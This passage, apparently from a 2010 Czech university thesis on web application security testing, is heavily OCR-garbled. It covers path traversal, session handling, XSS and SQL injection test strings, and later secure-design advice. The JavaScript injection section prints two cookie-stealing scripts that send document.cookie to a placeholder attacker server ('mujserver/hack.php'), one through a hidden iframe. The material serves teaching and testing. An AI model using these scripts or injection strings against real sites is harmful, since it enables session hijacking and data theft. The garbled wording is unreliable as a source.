souboru, pop i sloZzek, se iweme v pipact nesprava navrzené autorizace dostat
k soubofim, ke kterym nemame opranmy pristup. Webové servery mohou blokovat
opusEni korene webu a pokusy dostat se k jakymkoliv sotmona disku blokovanim
URI s ,../“. Pokud je ale lomitko zapsano v Unicodeprezentaci ,%c0%af", Spatn

nakonfigurované webové servery umozni stahnoukjkéoubory.

Soubory cookie

Soubory cookie jsou n&stji pouzivané hlawiky HTTP pro autorizaci na webu a mohou
byt pouzity pro ukladani témn jakychkoliv dat. Pro prohlizeni a 2Zmu hodnot cookie
muze byt pouZzit nap plug-in modul pro Internet Explorer jménem Cool8py, ktery

v oknu prohlizée zobrazi vSechny soubory cookie pouzité na stransedkazy na
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formul& kterym miZzou byt znénény. DalSi moznosti sledovani cookie nabizi prokilize
Mozilla Firefox svym pluginem Firebug, pbpGoogle Chrome, ktery ma moZznost

sledovani hlawiek zabudovanou.

3.2.3 Testovani spravy stavu relace

Bezpe&né [@ipojeni nebo také relace mezi klientem a serverghaduje, aby @& server
moznost si pamatovat (mezi mnoZzstvim pozadgvkdo s kym hovii. Server musi mit
n¢jaky zpasob informace o stavu relace, ktery identifikujeekta gidruzeného k danému

pozadavku.[7]
Piehled stavu relace

Bez nastaveni stavu relace mezi klientem a servesemusela byt pro kazdy nasledujici
pozadavek znovu vyt¥ena komunikace mezi klientem a serverem. Informacgavu
relace zlepSuji vykonnost a eliminuji pethu opakovat uzavirani a @pvné otevirani
propojeni mezi klientem a serverem. Klient s&Zegihlasit jednou a provést mnozstvi

pozadavk, aniz by byl nucen se samostapiihlasit pi kazdém pozadavku.[7]

HTTP je "bezstavovy" protokol a neposkytuje zadméspedky jak rozliSit jeden
poZzadavek od druhéhordhosovy protokol SSL na druhé sttga speciald navrzen tak,
aby poskytoval ID relace, pomoci kterého je mozdé&avat informace o stavu relace.
Komunikace HTTP mZe byt zapouzgna pomoci protokolu SSL a tak se stane
protokolem HTTPS.[7]

Relace niZzou obsahovat atributy jako rapZivatelské jméno, identifikator uzivatele, role

uzivateh, profil uzivatele, ndkupni koSik nebo identifikatelace.
Testovani spravy stavu relace probiha v nasledhijiaiocich:

1. Nalezeni nositele stavu — jako prvniieha identifikovat, kde jsou informace o stavu

relace udrzovany.

2. Prehrani informace o stavu - zachyceni informace avusijiného uZzivatele a jeji

odeslani aplikaci.
3. Zména informaci o stavu — zima vlastnich dat pro ziskani vySSich opggwn

4. DeSifrovani informace o stavu — vipads zaSifrovanych informaci o stavu relace se

informace musi nejprve analyzovat a deSifrovat
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Metodami pro spravu stavu relace jsou zpracovasinag klienta a nebo serveru.

Sprava stavu relace na strdrklienta

Kazda informace, ktera opusti servenzm byt klientem upravena. Z tohotdvidu se
udrZzovani stavu relace na sttaklienta pouziva &sSinou pouze pro identifikator relace,
aby byla zaji&na identifikace uzZivatele, ale vSechny ostatni®tévinformace jako nap

profil, prava a informace o nakupnim koSiku jsooZehy na serveru.

Jednim ze zsohi jak udrzovat stav relace mezi klientem a servejermouzivat cookies,
do kterych je mozné zadat informace o dané rel@erver zabali informace o stavu
uréitého klienta do cookie a odeSle ji prohtizklienta. Pro kazdy novy poZadavek
prohliz& sdm sebe a@povre identifikuje tak, Ze odeSle cookie (s informacietaci) zpEt

na server. [7]

DalSimi moznostmi pro udrzovani stavu relace renstlienta jsou skryta pole formui
URL adresy a hlatky HTTP. Testovani bezpeosti £chto zpisoli bylo vyswtleno

v predchozi kapitole Testovani autorizace.

Sprava stavu relace na strdrserveru

Pro udrzovani stavu relace na straerveru se d¥né pouzivaji databaze relaci. Kdyz se
uzivatel poprvé phlasi k aplikaci, vygeneruje aplikace @asny identifikator relace.
Identifikator je uloZzen do tabulky relaci. VSechmformace o stavu jsou uloZzeny ve
stejnémiadku jako identifikator relace. Pokazdeé, kdyz svatel vyzada novou stranku,
vezme aplikace retai token a vyhleda hodnotu v tabulce relaci. Pojauddentifikator
relace platny, pouzije aplikace aktualni informagsestavu Zadku v tabulce relaci.
Vyhodou databaze relaci je to, Ze ke klientovi npusjit pouze jedna hodnota. Informace

o stavu nemohou byt zachyceny, zneuZzity ani uprajdn

Testovani probiha pokusy o uhodnuti, paglvozeni mozného identifikatoru relace.
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Webovy server | Typické prom énné

Apache SESSIONID
ColdFusion CFID, CFTOKEN
IS ASPSESSIONID
PHP PHPSESSID
Tomcat JSESSIONID

SESSID, SESSION,
SID, session _id...

Tabulka 4: Identifikatory relace [4]

ostatni

Analyza identifikatoru relace

Z podrobné analyzy identifikatoru relaceizeme ziskat velké mnozZstvi informaci o
aplikaci, uZivatelich a nebo serveru. Takto ziskiafiérmace sice sami o0 sdlmezmisobi
pad aplikace aniffimo neumozni k nifstup, ale mizou napowdét, kde by se v aplikaci
mohlo nachézet slabé misto. Provadime analyzu abeslace a zji&jeme dobu jeji

platnosti.

3.2.4 Testovani validace vstuji

Testovani spravné validace vsiuprobiha zkouSenim odesilat pro aplikaci ded@vana
data. Obvykle byvaji aplikace oty kontrolou uZivatelského vstupu, ale ta nemuysi b
dostaténa a utok na validaci vstupuitte od ténsi neSkodného vygenerovani informativni
chyby vést az kifistupu k libovolnym ddim, spou&ini libovolnych giikazi nebo vkladani
skripti.
Testovani validace vstupu s&b¢ déli do i hlavnich kategorii:

1. Preplréni vyrovnavaci pasii

2.  Necaekavany vstup

3.  Znaky pro spoushi prikazu

Pifeplnéni vyrovnavaci pari

Tester vklada velké mnoZstvi dat do vstupniho pgbe odeslani sleduje odpai/serveru.
Maximalni velikost vstupniho pole e byt u HTML formul&i snadno omezena,
nicméré formul&e se daji lehce podvrhnout a odeslat aplikaci ¢ofok predchozi
kapitoly). Ri tomto testu sledujeme odezvu aplikace proné dlouhéfetézce. Ri urcité

délce niize dojit az ke zhrouceni serveru.
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Kanonizace

Tento typ utoku vyuziva slabin webovych aplikadieré neomezuji typy souhgrjez
mohou byt prohlizeny a tudiz se hackerzendostat mimo ken webového serveru. | kdyz
je wtSina webovych servérproti tomuto typu Utoku zabezfmna, je vhodné jej také
otestovat. Test je velmi jednoduchy a &gtk niému webovy prohlizé Namisto
ocekavaného vstupu vioZzime znaky pr@ghod do nazeného adresa ,../* a k tomu
nazvy kEZznych adregd (jako nap. /temp, /var, /Program Files apod.). Postupiidavame
znaky ,../* az dokud aplikace nenaznadpowdi (nag. odpowd se zméni z ,File not
found" na ,Permission denied"), Zze jsme se dostili kaenového adregd. Z rgj se

ato¢nik mize dostat ke konfiguéaim soubolm nebo teba databazi.

Utoky pomoci skript

Testovani bezgmosti proti utokm pomoci skript probiha jakymkoli odesilanifetizch
formatovanych progednictvim HTML do aplikace, kterd nasleédrtagy zpracuje.
NejjednodusSim testem jsou tagy <script>, zadanestlqpniho pole &akého formulée,
které po nasledném ¢&tani aplikace zpracuje a prohlézeobrazi JavaScriptovy kod
namisto hodnoty ,<script>". DeZité je také otestovat, jestli je aplikace be&ngei proti
pokusim o oklamani nap nepouzitim prostého tagu <script>, akebh <scrscriptipt>, kde
zabezpéeni nahradi ,script” znakem NULL, ale idal Zistava <script>! Pro Gtok pomoci
skripth mohou byt pouzity skute¢ vSechny formy vstupu do aplikace, protoze i soybor
cookie a dalSi jsou aplikacgteny, aby mohla zjistit o co se jedna. Proto jdekité

netestovat pouze formuta
Cross-site scripting (CSS)

Jedna se o nebezpy Utok i némz je do aplikaceijdan zakény kod, obvykle v jazyce
JavaScript tak, aby jej ostatni uZivatelé&iich pomoci technik socialniho inzenyrstvi
vyzradili tajné Udaje. Rozezndvame 3 typghto Utoki: okamzity, perzistentni a lokalni.
Zde je test proveden jednodusSe: do pole forheutéa weboveé strance (nebo vSech dalSich
moznych vstup) se pokusime zapsat a odeslat rnap
<script>alert('Nezabezpeceno!")</script>, pokudkagk dovoli script odeslat a po dalSi
navseve stranky zobrazi alert, je vice nez jasné, Ze apiikneni dostate¢ zabezpé&ena
proti atokim CSS.



UTB ve Zling, Fakulta aplikované informatiky, 2010 34

Vlozené skripty

Utok CSS se zadtiuje na dalsi uzivatele aplikace, kdeZto Utoky gefymi skripty pimo

na aplikaci samotnou. VyuZzivaji tagy programovadgazyki jako zavorky ASP a PHP,
SQL dotazy a tagy HTML. Utmik mize dosahnout zkresleni webové stranky - vlozeni
tagu </TABLE> zpisobi ukoeni vypisu tabulky a zobrazeni zdrojového kddu agka
stranky. DalSi jednoduché odeslaifedzce zjisti nezabezpeni proti ASP: <%= date()
%>, nebo PHP: <?php echo date("l"); ?>

Zmanipulovani aplikace

DalSim testem 1i¥e byt pokus o zmanipulovani aplikacegippjenim prongnné
.,debug=True" k pozadavku GET nebo POST. Pokud jafigpouzivali podobného
zpasobu k provaehi testi, miaze tento 0tok vyzradit informace o pouzivanych
proménnych, systému nebdeba databazi. Test byéhrobsahovat prognné debug, dbg a
hodnoty True, true, T, 1. DalSi zmanipulovanize probihat, pokud se pddajistit

webovy server, kde po zj&ti testujeme znamé slabiny.

SQL injection

Cilem at@nika je v tomto fipact nalezeni mista, ve kterém aplikace posila SQLzdota
formulovany na zaklad vstupnich dat, a zmanipulovat tyto vstupni data &bychom
pozmenili dotaz pro nasSedgly. [5]

Testovani probihafganim vhodného SQL kédu (nia®R 'a'="a) do vstupniho pole, podle
ktereho bude dotazovana databaze. NazoiiKlagd Gtoku je uveden na nasledujicim

obréazku.
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) ¥ PHP aplikaci na serveru je vstupni parametr ($data) zpracovan takto:

) vstupni data uzivatele

karel® OR 'a'="a mysql_guery(“SELECT * FROM uzivatele WHERE name='‘%data');

[
|
| /\L
| - .
odeslant dat = poaslani dotazy
2 navracen| visladhiu,
% 4—wysledna strémka—‘%/ |
|
s ) |
uaivatel webovy server I databazovy server

i 3) Bez jakékoliv znalosti pfedchoziho zpracovani obdrzi SQL server
| tento dotaz:

i

]

i SELECT * FROM uzivatele WHERE name='karel® OR 'a'="a");

4) Tento dotaz vrati vBechny poloZky tabulky uzivatele, nebot’ podminka WHERE bude platit v#dy.

1 ZaleZi na dalSim zpracovani vysledku v aplikaci. V nejhorsim pfipadé ziska uZivatel data viech
i uZivatell v systému.

Obrazek 6: Typicky fklad SQL injection utoku [5]

3.2.5 Testovani webového Ulozigtdat

Existuje rekolik postupi, které plati pro databaze zalozené na SQL. Tysbupy upravuji

piikaz SQL pipojenim, vloZzenim a upravenim normalniché¢éliych slov SQL — jazyk

SQL je pouzit proti sob samému.[4] VyuzZiti metody vloZzeni kédu SQL sahd od

nedkodnych znakzpisobujicich chyby az po spoust prikazi piikazovéhaadku. Zadny
konkrétni vyrobce databaze neni @phkabezp&eny proti tmto Gtokim. Slaba mista jsou
v dotazech SQL a jejich potimém programovém rozhrant, g to ASP, PHP, Perl nebo
jiny webovy jazyk.[4]

Pro nalezeni, kter&st aplikace je zranitelnd a mohla by byt pouzitagok, se pouziva
testovani pomoci forméatovacich zBaBQL. Testovani zéna jednoduchou uvozovkou
v seznamu paramétra korti fadou test owetovani vstupu pro zjishi struktury dotazu

SQL, jez je nezbytné pro moZznou &m dotazu.
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Znaky Popis

' ukonéuje prikaz

jednoradkovy komentar

+ mezera

,@variable pfipojuje proménné - pomaha identifikovat ulozené procedury
vytvofi "Paraml1=foo,bar" - pomaha identifikovat ulozené
?Paraml=foo&Paraml=bar | procedury

@ @variable vola interni proménnou serveru

PRINT vraci chybu ODBC i kdyZ se nhezaméfuje na data
SET pfifazuje proménné

% zastupny znak odpovidajici jakémukoli Fetézci

Tabulka 5: Formatovaci znaky SQL [4]
Pro testovani vioZeni SQL je dopdema nésledujici metodologie:
1. Vygenerovat databazovou chybu za pouziti metadawani vstupu
2. Upravovat neplatny vstup, dokud nelze stanovitkstmu SQL gikazu

Po zjiseni struktury SQL dotazu aplikacetire Gt@nik spousit jakékoli prikazy. Castymi
piikazy je fitom OR 1=1, UNION a INSERT.

OR 1=1

Jak uz bylofeteno, tento fikaz vytvadi vzdy pravdivou podminku, coz je uZite

v dotazech, které kontroluji uzivatelské jméno sitne
UNION

Ptikaz UNION kombinuje fikazy SELECT pro vybrani dat z tabulek. Pouziva geskani
vSechiadki z tabulky. Zakladni syntaxi je UNION ALL SELECT IpoFROM tabulka
WHERE podminka

Z raznych nazu v aplikaci, soubar .inc nebo chyb SQL Ize obvykle vyvodit ndzev pale
tabulky, na podminku fize byt pouzit fikaz OR 1=1.

INSERT

Instrukce INSERT vklada hodnotu do tabulky. Tocai&ovi sice neporive ziskat data
z databaze, ale umozni mu obejitéfmwani vlozenim nového uZivatele do tabulky, inap
piikazemINSERT INTO users VALUES(Tomas', 'hesdotjm padem neomezenyigiup

k aplikaci pod uZivatelskym jméneffomasa heslenheslo



UTB ve Zling, Fakulta aplikované informatiky, 2010 37

3.2.6 Testovani webovych sluzeb

Webové sluzby (web services) jsou vlgsgystémem pro podporu sioné spoluprace
pocitact v siti. V podstat jde o komunikaci mezi 2 gdaci, pii niz ma jeden funkci
poskytovatele webové sluzby a druhy je klient. Ruskatel (provider) sluzby poskytuje
data specifikovanym Zigobem na siti. Na druhé stéasi klient (requestor) zjisti adresu
sluzby (vyhleda v registru nebo ma adretimp od poskytovatele), stdhne si popis sluzby
a je ji nasled& schopen vyuzivat. Data séepaSeji v XML formatu a dikyému jsou

shadno rozsitelna.[8]

Testovani webovych sluzeb se zgnje na ziskavani informaci, které by mohly byt
pouzity k dalSimu napadeni. Data ziskafi&gstovani jsou sama o sobeSkodna — jedna
se o informace, které provozovatel chce publikoabd,protoZze programéicobcas dlaji
chyby, daji se ve vystupu webové sluzby nafihlpSovaci Udaje k serveru SQL, cesty
k citlivym soubofim a adres@m a vSechny uzitmé informace, které vyvajaradi davaji
do svych konfigurénich soubal. Krom¢ téchto chyb se utmikim pro zahajeni utoku
bude hodit zjid&ini vSech koncovych bddsluzeb a datovych typ jez mu informace
WSDL poskytuji.

Webové sluzby Microsoft (soubory .asmx) mohou padirinformace DISCO a nebo
WSDL jednoduSe ifipojenim zvl&Stnich argumentk poZzadavku na sluzbu. Néklad
nasledujici adresa URL by sépmjila k webové sluzbé a ziskalatitelné rozhrani sluzby:

http://www.victim.com/service.asmx

Informace DISCO nebo WSDL mohou byt zobrazefiggenim ?disco nebo ?wsdl k této

adrese URLhttp://www.victim.com/service.asmx?disco

nebohttp://www.victim.com/service.asmx?wsdl

3.2.7 Testovani spravy webovych aplikaci

Weboveé aplikani servery poskytuji bezpet rozhrani pro spravu obsahu, administraci
serveru, konfiguraci a tak dale. Na$tji byvaji tato rozhrani fistupna pes Internet,

protoze je to jeden z nejpohodj§ich prostedki pro vzdalenou administraci webovych
aplikaci. Tato kapitola bude probiratkteré nejiznejSi platformy pro spravu a jejich slaba
mista souvisejici se spravou webovych aplikacifdgechna tato rozhrani mohou byt

atotnikem snadno identifikovana pomoci skenovanitpdotom mohou byt vyuZity jejich
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slabiny, jako jsou znamé chyby softwaru, slabaahgsitateini nastaveni) nebo nevhadn

nastavenaifistupova prava.[4]

Administrace webového serveru

V zavislosti na volb protokolu mohou byt tato rozhrani lakadlem prokeag cekajici na

svou fFilezitost. Mezi pouzivané protokoly piat

® Telnet — nezabezpeny, genasi data v otéené podob a tim neni odolny proti

odposlechu

® SSH - Sifrovani pro ochranu &evani i naslednych datovychrgmosi, podporuje

pienosy soubdr prostednictvim nastroje Secure Copy

Rada webovych serviefje dodavana s vlastnimi specialnimi rozhranimi gpoavu, ktera
jsou po instalaci k dispozici. Zpravidla jde o roahi dalSi instance serveru HTTP, ktery
poskytuje pistup k soubarm v HTML nebo k soubdim se skripty pouzivanymi pro
konfiguraci serveru. Z4psob owrovani uZivatele je typicky HTTP Basic nebtihbaSeni

pouzivajici formul&[4]

Pro testovani bezpeosti se krord odposlechu u Telnetu nabizi hadani hesel, ktetasob

byvaji ponechana vipodni podob.

Sprava webového obsahu

Pro genasSeni soubdrna webovy server se da pouzékolik mechanism, po kterych

atocnici patraji, aby si z nich vytvib alternativni gistupovou cestu k aplikaci:

® FTP — vSeobecnd zdsada beénostifika, Zze by se na webovém aplikém serveru
nentl spouskt jiny protokol nez HTTP a tudiz se FTP silnedoporduje. Ri testu
muze byt objeven kazdym skenerem fofport TCP 21), hesla se daji uhodnout a
nebo nize byt vyuzito bezpmostnich dr, které by uténikovi umoznily zapis do

souborového systému.

® SSH/scp — v witych implementacich verze SSH1 byla objevenadidislaba mista,
verze SSH2 umaitije bezpény transfer soubdr a gimou spravu opetaiho
systéemu, pod kteryméhi stroj a na ktery sefipojujete. Renos soubdr probiha

prostednictvim tunel SSH (které jsou @tovany a Sifrovany), ovlada se dkazové
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fadky. Moznym zpisobem utoku fpada v ivahu hadani hesel, SSH pracuje na portu
TCP 22.

® FrontPage — jeden z nejoblikgich program pro spravu obsahu webového serveru.
FrontPage je ve skuteosti klientem, zatimco na stéaserveru Bzi FrontPage Server
Extensions (FPSE).iRtup aplikace k serveru je @&ovan prostdnictvim oérovani
systému Windows. Znadmymi chybami u starSich vespujziskani kontroly nad

serverem ze vzdalenéhogiace neautorizovaného Wwoika, nebo vyzrazeni cesty.

® WebDAV - protokol Web Distributed Authoring and ¥eming je standareén
podporovan serverem IIS od Microsoftu, aledpvné moduly WebDAV existuji i pro
vétSinu ostatnich oblibenych webovych setiyékpache nevyjimaje. MoZznym slabym
mistem niiZze byt zapisovani dat na webovy serviimp p'es HTTP bez dostateé
zabudované bezpeosti s vyjimkou pistupovych prav v souborovém systému, coz
muze byt znany problém, pokud nenifistup silf omezen. DalSimi objevenymi

slabymi misty bylo vyzrazeni struktury sloZzek neolegeni gistupu.

Webova sprava siti a pitacii

VétSina sfovych aktivnich prvi je dnes dodavana s webovym rozhranim pro spravu.
Piikladem niize byt systém Compag Insight Manager, u kteréhénito mohou vyuzit
slabého mista umaagjiciho anonymnim uzivatéin prochazeni slozkami umdsymi na
stejném svazku jako je kenova slozka webu. DalSim znamym problémem Compagq
Insight Manageru je moznost napadnout rozhrani gitblaSeni do systému uGtokem
zpisobujicim peteteni vyrovnavaci pasti, pokud je v poli pro uZivatelské jméno odeslan

nadnérné dlouhyietzec.

3.2.8 Testovani webovych kliené

VSechny dosud popsané utoky vyuZzivaly chyb na &tnabového serveru, ale protoze lze
najit spoustu bezpmostnich dr i na strag klienta, je vice neZ pi#bné je otestovat
zarove. VétSina zavaznych hrozeb, které bylynbyt otestovany, spada do nasledujicich

kategorii:
® Utoky s aktivnim obsahem

® Cross-site scripting
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® Manipulace se soubory cookie

NejcastjsSi podoba takového utoku je pomoci e-mailu. Skd&iohni moderni klienti pro e-
mail zobrazuji HTML, takze prakticky funguji jakdwvalent prohlizée. Na osoby je

mozZno zautdit prizpasobenym obsahem, pokud éndk zna jejich e-mailovou adresu.[4]

Na strag klienta jsou pro zobrazovani aktivniho obsahu par#y dv hlavni technologie

— ActiveX a Java.

Java a JavaScript

Java nabizi vynikajici bezf®ostni model — pouZziva integrovanou transparergravsi
pantti a bezpé&nostni mechanismus ,sandbox”, ktery kontroluje §tioi kodu a nize
zabranit nezadoucim akcim. Zavazné beéapstni chyby mizou nastat ) implementaci
raznych vyrob@, zaznamenany byly problémy s Gnikem z bé&mpstniho mechanismu

sandbox fi nepovoleném jetypovani.

JavaScript se pouzivargulevSim k tomu, aby spojoval ostatni komponentyralohdy
nebo zpracovaval vstup od uzivatele. Je to intéopemy vysokourokovy jazyk. Interpret
piebird kéd JavaScriptu v textové poda@bza Bhu ho greklada na nativni instrukce stroje,
na kterém BZi. Interprety jazyka JavaScript jsou zabudovany witsiny webovych
prohliz&& a schopnost automatizace tento jazykdpkuje k tomu, aby se stal cilem
atoka.[4]

JavaScript injection

Princip Gtoku spéiva ve vlozeni vlastniho javascriptového kodu davHTstranky, ktera
se zobrazi jinému uZivateli. N&dklad misto textu fispivku do diskusniho fora tizeme

vlozit tag <skript>, ktery se pak vlozi do stranigemctendiam tohoto pispivku.

Pokud se P testu pod# vlozit skript do stranek zobrazovanych jinym watetim, stale
pied testerem stoji dva problémy. Nejprve musi ziskah reprezentujici uzivatelovu
identitu. Tento krok jetasto jednoduchy, neBovétSina webovych aplikaci pouziva k
identifikaci néjakou formu spravy relaci a vSe, co iediuje ziskat, je identifikator této
relace (session ID). Identifikator byva ¢e$gji uloZzen v cookies, které jsou pro JavaScript

dostupné v document.cookie.
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Druhy — a podstath komplikovargjSi problém — pedstavuje propasSovat tato data do
rukou testera. Zdefipomeaime, Ze skript &i piimo v prohliz&i napadeného uzivatele a
nema pilis moznosti, jak ukradena datd&epést kamkoli jinam. V podstatedinym
rozumnym zfsobem je pouZzit 8dvé funkce prohlizee a data odeslat (nagrotokolem

HTTP) na nas server.[9]

Data miZe tester ziskat pomoctgsnerovani prohlizée na cizi server. Do URL iwou
byt zakédovana odesilana datatavpdni URL, ze kterého jsou data odesilana. Vlozeny

skript by mohl vypadat naptakto:
<script type="text/javascript">
if (location.hash = "#@ @nohack")
{
var url = "http://mujserver/hack.php?cookies="
+ encodeURIComponent(document.cookie)
+ '&url=" + encodeURIComponent(location.H)g
location.replace(url);
}
</script>

Funkce location.replace()igsneruje prohliz¢ na nové URL pouze pokud uZ nebylo
piesnérovano (zajisuje stavova progmna location.hash — zalitge nekonéné smyce)

a zarové tuto zneénu nebude logovat do historie stranek. Nas skapklphp pak zpracuje
odcizené cookies a provedeéepnerovani (HTTP Redirect) Zp. HTTP Fesn€rovani se
rovnéz neukladaji do historie prohlide takZze po naSem utoku fietanou na prvni pohled

Zadné stopy.
processStolenCookies($_GET['cookies");
header(‘'Location: ' . $_GET['url] . '#@ @nohack’);

Pochopiteld zmireny zpisob neni nejlepSi mozny, protoZze v navigen fadku
uzivatelova prohlizge pibude #@ @nohack.[9]
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Druhou mozZnostigstavuje vioZeni neviditelného plovouciho ramcé&a@ec dokumentu.
Do tohoto rdmce se pak ¢ta stranka generovana naSim skriptem, ktéitpm zarove
zpracuje odcizené cookies. Neviditelnost ramcestiaje nap tak, Ze mu nastavime CSS

parametr display na hodnotu none.
<script type="text/javascript">
var url = 'http://mujserver/hack.php?cookies='
+ encodeURIComponent(document.cookie);

document.body.innerHTML += '<iframe id="myHacidme"

style="display:none"></iframe>";
document.getElementByld('myHackFrame').srcls ur
</script>

Skript hack.php uz nedostanévpdni URL a ani nebude provwddzadné pesnérovani.
Uzivatel si tak pravébodobré procesu "kradeni" ani nevsimne, protoze ramec istane
skryty a stranka se nebude nijaknit. Pokud by aténik ch&l byt dasledny, nize jes¢
ramec odstranit jakmile ®dee tuto stranku (n&p doplréenim vhodné obsluhy udalosti

onload zmi#ného ramce).[9]

ActiveX

Jedna se o model pro automatizaci klienta od spoti Microsoft, ktery by réda branit
technologie Authenticode.i€d spudnim ovlddaciho prvku ActiveX @i Authenticode
digitalni podpisy fipojené k ovladacimu prvku a zobrazi uzivateli ajmvé okno, které se
dotazuje, zda ma byt ovladaci prvek spu3t] Protoze systém Authenticode neudava, co
piesré dany ovladaci prvek tize provadt, ale jen o¥iuje identitu toho, kdo kod podepsal,
jedna se v otdzce bezpesti pouze o dvéru vtoho, kdo kod podepsal. Toto vybizi
k utokim na znénu podepsanych ovladacich piivioruhou moznosti Utoku je, Ze ovladaci

prvky ozn&ené jako ,safe” miZzou obchazet Authenticode.



UTB ve Zling, Fakulta aplikované informatiky, 2010 43

4 NAVRH BEZPE CNYCH APLIKACI

Zé&sady pro navrh bezgreych aplikaci mohou byt éprozcleny podle pipadnych Utok.

4.1 Bezpe&né owrovani

Z&kladnim principem obrany proti Gtik na owfovani je validace vstupwimz se
zabrani vlozeni kédu SQL, vloZeni skriptu, ale owsgEni prikazi. DalSi zasadou je silna
politika hesel a blokovanictii a v neposlednfadé zabranit pedpovidani a nebo hadani

identifikatoru relaci dostatae¢ velkym prostorem k.

4.1.1 Obrana proti hadani hesel
Spravna politika hesel bydia definovat pravidla pro:
® Délku hesla
® Obsah
® Frekvenci zminy
® Povoleny poet pokus
® Zpasob obnoveni nebo resetu hesla

Idealrt by méla dopor@ovat pouzivani hesel s preéniivou délku, nedavajici smysl,
nepozZadovat zému heslacastji nez je nutné a davat uzivaiet navody, pofipadc

nabizet proskoleni jak vytvib a zapamatovat si silna hesla.

Hesla by se #la skladat z kombinace velkych a malych pisnéésel a specialnich znak
a obsahovat alespd 4 znaki. Nentla by obsahovat slova, ktera Ize nalézt ve slov@u

uz jakémkoli jazyce), jména, datum narozeni a jakekiné smysluplné vyrazy.

4.1.2 Obrana proti utokam na ID relaci

Identifikator relace by ne#h jit uhodnout ani prolomit hrubou silou. Proto savrhuje

pouzivat generatory ndhodny&dsel delSich nez 128 hit
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4.1.3 Obrana proti podvraceni cookie

Obecnym doportenim je neuchovavat v souborech cookie citliva ,dptatoze zkuSeny
hacker se rize reverznim inzenyringem dostat k obsahu cookaku® je nutné je
pouzivat, je hlavni bezpeostni zasadou jejich Sifrovani. Dale je vhodné Zfou6d

pravosti zpravy pro ochranu integrity.

4.1.4 Obrana proti obejiti p ¥ihlaSovacich formulaa nad SQL

NejlepSi obranou proti vioZzeni kodu SQL je validaecgtupu, ktera bude provéd
vyrovnanou kontrolu - dostate silnou, aby neumoznila vioZzeni SQkikazi, ale zarove

takovou, aby umozZznila pouzivani dostatesilnych hesel.

4.2 Navrh bezpané autorizace

Metody utoku na autorizaci jsou odvozené #iemi vstupu, vliozeni SQL nebo nechinaé
spravy relaci. Pouziti opgani proti takovymto slabym mish ma také fiznivy vedlejSi

efekt blokovani Utok na autorizaci.

DalSim zmsobem je pouZiti fistupu na zéklad roli. Nagiklad je moZno navrhnout
uzivatelskou databazi obsahujici role pro funkcdékape. Nekteré zroli jsoucteni,
vytvareni, upravovani, odstrami a gistup. Informace o relaci uZivatele byly piesre
definovat, které role mohou byt pouzity. Tabulkll wypada jako matice s uzivateligsre

definovanymi v kazdémradku a jejich potencionalnimi rolemi v kazdém skiup

Seznamyizeni gistupu mohou byt také pouzity na arovni systémuweau Apache a IIS
nabizeji moZnost konfigurace pro zajifit Ze uzivatelé nemohaiist, psat nebo spoust

zakazané soubory.

UZivatelsky w@et, pod kterym &i webovy server, servlietovy aplikd server, databaze

nebo jiné sotéasti aplikace, by M mit nejmensi mozna oprasmi.[4]

4.3 Bezpe&na sprava stavu relace

NejlepSi obranou je omezeni mnozstvi citlivych infaci gedavanych v informaci o

stavu. Silnou spravu stavu relace bylyrzajid’ovat nasledujici kroky:
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Bezpe&né identifikatory relaci - identifikatory relaci generované z rozsahlého naébdn

N 1

rozsahu vyuZzivajici 32bitovych a vysSich hodnot.

Bezpe&né hodnoty ha$i nebo Sifrovany obsah— umisténi dynamickych dat, jako n&p
5

¢asové razitko nebo nahodtislo na zaatekietézce ztizi utoky hrubou silou.

Vynuceni omezeni doby relace- zneplatani identifikatoki relaci a informaci o stavu po

uréité dok® netinnosti (nap. 10 minut) nebo nastaven&msovém obdobi (n&p30 minut).

Vynuceni omezeni sofasnych prihlaSeni — nedovolit uzivatéim vice sotasnych

ovéirenych relaci pro aplikaci .

Validace obsahu informaci o stavu- vzdy kontrolovat fichozi data. Informace o stavu

jsou odeslany klientovi a proto mohou byt zmanipéloy a pouZity k ttakm.

Pouziti kontrolnich sowtid nebo metod o¥irovani zprav — kontrolni sotty pouzivat
k ovéteni, Ze informace o stavu nebyly upraveny a to &y kontrolni soket nebyl
reprodukovatelny uzivatelem. Pro vygenerovani lkantho sodtu pro uzivatelské jméno

se mizou pouzit nafiklad poslednétyii bajty hodnoty hase MD5 uzivatelského jména.

Pouziti SSL — pro gedejiti utoki s odposlechem by &h byt Sifrovan veSkery provoz

obsahujici citlivé informace.

DalSim prostedkem zabezgeni, ktery jecasto pehlizen, je protokolovani aplikace.
Mnoho udalosti ovliiiuje (et uZivatele, proto by #&y byt sledovany, zvIast pri

zpracovavani finamich aplikaci:
® Zmena profilu — zaznamenavat 2ny dileZitych osobnich informaci, jako je telefonni
¢islo, adresa, informace o kreditni Keate-mailova adresa

® Zmeény hesla — zaznamenavat vSechngmyrhesla uzivatele

® Upravy jiného uZivatele — zaznamenavat vzdy, kdyzece zmini profil nskoho
jiného nebo informace o hesle. Taihe byt spusho také tehdy, kdyzZ jini uzivatelé,
nagiklad pracovnici podpory, aktualizuji informaceégio uzivatele. Zaznamenavat

Ucet, ktery provedl ziny, a @&et, ktery byl zndngn

® Pridat/Odebrat uZivatele — zaznamenavat vzdy, kdwgh jgzivatelé fidani nebo

odebrani ze systému
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Aplikace by ngla protokolovat co nejvice podrobnosti. Zakladnipalozkami jsou
nagiklad zdrojova IP-adresa, uzivatelské jméno nehé jdentifik&ni tokeny, datum a
¢as udalosti. DalSimiastmi informace by byl identifikator relace pro e#eni uzivatei,

kteti se pokusili o utok proti tokém uzZivatele.

Nemusi byt dobré protokolovat skéteé hodnoty, které byly zénény. Protokoly by nily
byt zpracovavany s vysokym stwpm zabezpé&eni, avSak pokud protokoly &@ou
obsahovatisla socialniho pojigni, kreditnich karet a dalSi osobni informace, radby
vzniknout riziko zneuziti od vrihiho zangstnance nebo vznik jednoho mista, ze kterého

by ataznik mohl ziskat nejlezit¢jSi informace z celé databaze.[4]

4.4 Navrh bezpeané validace vstuph

® Validace vstupu musi byt provedena na straerveru, protoZze vSechna data

prochazejici do a z webového prohéigenohou byt uzivatelem upravena.

® Znaky pouzité ve formatovani HTML a SQL byely byt kddovany tak, aby se
zabranilo aplikaci v jejich nespravné interpretaci.

® Pro nalezeni neautorizovaného obsahu obsazenéteshdoouzivat regularni vyrazy.

® (Ciselné hodnoty by ty byt pritazeny kiiselnym datovym strukturdm a hodnoty
rettzce k datovym strukturanetzce, navic pouzivat omezeni délky kdekoli je to
mozne.

® Zpracovani chyb by #ho bez ohledu na jazyk aplikace postupovat podleckptu

jazyka Java s procedurami Try, Catch a Finallyi Reuckité chyl® nabidnout

vSeobecnou chybovou stranku bez systéemovych infdrma

